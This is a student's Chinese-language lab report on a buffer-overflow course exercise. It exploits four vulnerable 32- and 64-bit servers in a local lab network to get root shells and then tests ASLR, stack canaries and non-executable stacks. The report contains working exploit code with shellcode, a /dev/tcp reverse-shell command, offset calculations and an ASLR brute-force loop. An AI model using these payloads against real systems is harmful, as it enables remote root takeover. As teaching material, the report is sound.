实验二 缓冲区溢出攻击实验

518030910061 李铁

一、缓冲区溢出攻击简介

缓冲区溢出（buffer overflow），是针对程序设计缺陷，向程序输入缓冲区写入使之溢出的内容（通常是超过缓冲区能保存的最大数据量的数据），从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。在本实验中，共有四台不同的服务器，每台服务器都运行一个带有缓冲区溢出漏洞的程序。 实验任务是设计利用漏洞的方案，并最终获得这些服务器上的 root 权限。

二、缓冲区溢出攻击实践

2.1 级别1

该级别主要任务是攻击一个32位的程序，以获得服务器的root权限。

首先启动容器，并在终端运行命令`echo hello | nc 10.9.0.5 9090`向服务器发送一条良性消息，得到结果如下图所示：

```
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd478
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd408
server-1-10.9.0.5 | ==== Returned Properly ====
```

我们获得了字符串buffer的地址以及帧指针`ebp`的地址，由于我们关闭地址随机化机制，所以每次执行程序地址都保持不变，我们可以用这两个地址进行缓冲区溢出攻击。

如果`shellcode`中仅仅是执行`/bin/sh`，只能让服务器运行shell，而无法在本地获得服务器的shell。为了解决这个问题，我们采用反向shell。其关键思想是将其标准输入、输出和错误设备重定向到网络连接，因此 shell 从连接获取输入，并将其输出也打印到连接。在连接的另一端是攻击者运行的程序； 该程序简单地 显示来自另一端 shell 的任何内容，并将攻击者键入的任何内容通过网络连接发送到 shell。

所以我们只需要在`shellcode`中让服务器运行

```
/bin/bash -i > /dev/tcp/ip/port 0<&1 2>&1
```

之后我们在本地监听指定端口即可获得服务器的root shell。

综上我们构造`exploit.py`如下所示：

```
#!/usr/bin/python3
import sys

shellcode = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
```

```
    # The code above will change the byte at this position to zero,
    # so the command string ends here.
    # You can delete/add spaces, if needed, to keep the position the same.
    # The * in this line serves as the position marker         *
#   "/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd     *"
    "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1           *"
    "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
    "BBBB"   # Placeholder for argv[1] --> "-c"
    "CCCC"   # Placeholder for argv[2] --> the command string
    "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 300               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffd478 + 8     # Change this number
offset = 116              # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
```

首先我们把shell重定向中的ip地址改为本机ip地址，start设置成300（对于等级一而言，start可以随意选择，但不能和offset冲突），ret设置为帧指针地址+8，如此一来程序会一直执行`nop`指令直至执行到shellcode。由于帧指针指向的地址为`0xffffd478`，由函数调用栈的布局我们可知，栈中地址`0xffffd47c`存储返回地址，而字符串buffer的地址为`0xffffd408`，二者相差116，故我们设置offset为116。

将`exploit.py`生成的文件传入服务器，我们可以得到服务器的root shell，如下图所示：

```
[10/22/21]seed@VM:~/.../attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 35704
root@3d34e951b554:/bof#
```

```
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd478
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd408
```

2.2 级别2

级别2和级别1类似，不同的是，我们无法获取缓冲区的大小，需要构造处一个对于缓冲区大小在[100,300]范围内都适用的`payload`。

首先发送一条正常信息给服务器，仅仅获得了字符串`buffer`的地址：

```
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffd3b8
server-2-10.9.0.6 | ==== Returned Properly ====
```

依据数据对齐的原则，存储返回值地址必须是4的倍数，所以我们可以构造一个循环，把可能存储返回地址的内存空间都覆盖成ret的值，即可达到目的。构造`expliot.py`的`payload`构造部分如下所示：

```
start = 517 - len(shellcode)               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffd3b8 + 360     # Change this number
offset = 100              # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
for index in range(0,55):
    content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
    offset = offset + 4
```

可以看出我们把`shellcode`放到了最后，利用循环从第100字节到第320字节都放入了返回地址，返回地址的值为buffer地址+360。这样以来我们无需知道缓冲区的具体大小，即可进行攻击。生成文件并传入服务器，可以得到：

```
[10/23/21]seed@VM:~/.../attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.6 41582
root@0c329138b300:/bof#
```

```
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 517
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffd3b8
```

成功得到了服务器的root shell。

2.3 级别3

级别3要求攻击一个64位的程序，与32位程序不同，64位程序使用64比特的地址。事实上，在实际运行过程中，操作系统仅仅允许使用48比特，即地址的前16位必须为0，否则将会引发错误。这就要求我们构造的`ret`前16位为0，但是`strcpy`函数会将连续的8比特的0识别为字符串终止符，并停止复制。

为了解决这个问题，我们需要把`shellcode`放到ret之前，以免因为`strcpy`函数遇到`ret`而提前退出。而`x86-64`采用的是小端存储，即高位存储在高地址，低位存储在低地址，所以实际上在复制的过程中，先复制低位的非0部分，当遇到高位的0时，函数停止复制。然而栈中原来的返回地址高16位也必定为0，所以我们无需复制也可构造出正确的返回地址。

我们首先发送正常的消息到服务器：

```
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffffffe3b0
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffffffe2e0
server-3-10.9.0.7 | ==== Returned Properly ====
```

得到了字符串buffer的地址和帧指针的地址，前16位都位0，我们根据这两个地址写出`expliot.py`构造`payload`部分的代码如下所示：

```
start = 0               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x00007fffffffe2e0     # Change this number
offset = 216           # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address

content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
```

为了保证`shellcode`在`ret`之前，我们设置`start`为0，`ret`即为字符串的地址，而字符串的地址和指针值的值相差208，根据函数调用栈的结构，我们知道字符串的地址和存储返回地址的地址相差216，所以`offset`为216。

生成文件并发送到服务器，我们得到：

```
[10/23/21]seed@VM:~/.../attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.7 51790
root@eebf4a5bb398:/bof#
```

```
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 517
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffffffe3b0
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffffffe2e0
```

我们在本地成功地得到了服务器地root shell。

2.4 级别4

级别4也是攻击64位的程序，具有相同的地址问题，但是级别4程序的缓冲区更小，这也就意味着，我们无法在`ret`之前放入完整的`offset`，当然也无法在之后放入完整的`offset`。

但是我们发现，对于用户的输入，程序首先保存在`main`函数中的`str`字符串中，然后使用`strcpy`函数复制到`bof`函数的`buffer`字符串中，我们虽然无法在`bof`函数的帧栈中放入完整的`shellcode`，但是`main`函数的帧栈中保留着`shellcode`，我们只需让`rip`指向后面的`main`函数中的`shellcode`即可。

我们首先向服务器发送正常的程序，如下所示：

```
server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 6
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof():  0x00007fffffffe3b0
server-4-10.9.0.8 | Buffer's address inside bof():     0x00007fffffffe350
server-4-10.9.0.8 | ==== Returned Properly ====
```

我们写出`expliot.py`中构造`payload`部分的代码如下所示：、

```
start = 517 - len(shellcode)                # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x00007fffffffe3b0 + 1200    # Change this number
offset = 104         # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address

content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
```

由于我们并不知道`main`函数的帧栈的具体地址，所以我们把`shellcode`放在最后，使得攻击成功的概率更大。我们可以根据级别3的思路算出`offset`的值为104，对于`ret`，我们可以尝试一系列的值，最终使得攻击能够成功，我们也可以根据本地版本的缓冲区溢出实验来得到大致的范围。

生成文件并发送到服务器，如下所示：

```
[10/23/21]seed@VM:~/.../attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.8 46210
root@b7c437be60a7:/bof#
```

```
server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 517
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof():  0x00007fffffffe3b0
server-4-10.9.0.8 | Buffer's address inside bof():     0x00007fffffffe350
```

成功得到服务器的root shell。

三、缓冲区溢出的防护

3.1 地址空间布局随机化

在之前的实验中，我们关闭了这种保护机制，我们打开这种保护机制后，发送正常信息给服务器：

- `sever1`：

```
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffa87728
server-1-10.9.0.5 | Buffer's address inside bof():     0xffa876b8
server-1-10.9.0.5 | ==== Returned Properly ====
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xff8b53c8
server-1-10.9.0.5 | Buffer's address inside bof():     0xff8b5358
server-1-10.9.0.5 | ==== Returned Properly ====
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffe56948
server-1-10.9.0.5 | Buffer's address inside bof():     0xffe568d8
server-1-10.9.0.5 | ==== Returned Properly ====
```

- `sever3`：

```
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffd20d1ce0
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffd20d1c10
server-3-10.9.0.7 | ==== Returned Properly ====
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffaea56770
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffaea566a0
server-3-10.9.0.7 | ==== Returned Properly ====
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fff5fb79020
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fff5fb78f50
server-3-10.9.0.7 | ==== Returned Properly ====
```

我们可以看到由于地址空间布局随机化，每次执行程序字符串`buffer`地址和帧地址都不一样，而如果我们在构造`payload`时并不知道数据在内存中的地址，如果使用了上一次获得的地址，成功的概率较低，这给缓冲区溢出攻击带来了较大的麻烦。

对于32位程序，栈基址共有$2^{19} = 524288$种可能性，复杂度并不是很高，我们可以采用反复尝试的方法来对程序进行缓冲区溢出攻击，我们使用如下脚本来反复尝试：

```
SECONDS=0
value=0

while true; do
  value=$(( $value + 1 ))
  duration=$SECONDS
  min=$(($duration / 60))
  sec=$(($duration % 60))
  echo "$min minutes and $sec seconds elapsed."
  echo "The program has been running $value times so far."
  cat badfile | nc 10.9.0.5 9090
done
```

结果如下：

```
6 minutes and 24 seconds elapsed.
The program has been running 39194 times so far.
6 minutes and 24 seconds elapsed.
The program has been running 39195 times so far.
6 minutes and 24 seconds elapsed.
The program has been running 39196 times so far.
6 minutes and 24 seconds elapsed.
The program has been running 39197 times so far.
6 minutes and 24 seconds elapsed.
The program has been running 39198 times so far.
```

```
[10/23/21]seed@VM:~/.../attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 57798
root@3d34e951b554:/bof#
```

最终循环发送了39198次，成功获得服务器的root shell。对于64位程序而言，栈基址可能性要比32位程序多得多，想要暴力破解需要的时间也就多得多。

3.2 栈破坏检测

栈破坏检测的思想是在栈帧中缓冲区和栈状态之间存储一个特殊的值，我们称为哨兵值(guard value)，这个值在程序运行时随机生成，在从函数返回前，程序检查这个值是否遭到破坏，如若遭到破坏，则程序异常终止。

我们在编译的时候选择使用栈破环检测机制，进行缓冲区溢出攻击如下所示：

```
[10/23/21]seed@VM:~/.../test$ ./stack-L1 < badfile
Input size: 517
Frame Pointer (ebp) inside bof():  0xffd21f58
Buffer's address inside bof():     0xffd21ee8
*** stack smashing detected ***: terminated
Aborted
```

我们可以看出程序异常终止。

3.3 限制可执行代码区域

由于栈中会存放在来自于用户的输入，用户输入是存在潜在的隐患的，所以如果标记栈中的数据位不可执行，则可以防护缓冲区溢出攻击。

我们在编译的时候选择使用限制可执行代码区域的机制，进行缓冲区溢出攻击如下所示：

```
[10/23/21]seed@VM:~/.../test$ ./stack-L1 < badfile
Input size: 517
Frame Pointer (ebp) inside bof():  0xffbff908
Buffer's address inside bof():     0xffbff898
Segmentation fault
```

我们可以看出程序异常终止。

四、总结

通过这次实验，我学习了如何构造`shellcode`，并把它放入合适的位置，初步尝试利用缓冲区溢出漏洞并获得服务器上的root shell，同时我也了解了抵抗缓冲区溢出的三种机制：地址空间布局随机化、栈破坏检测、限制可执行代码区域。这些都加深了对缓冲区溢出的理解。

最后感谢老师和助教的指导！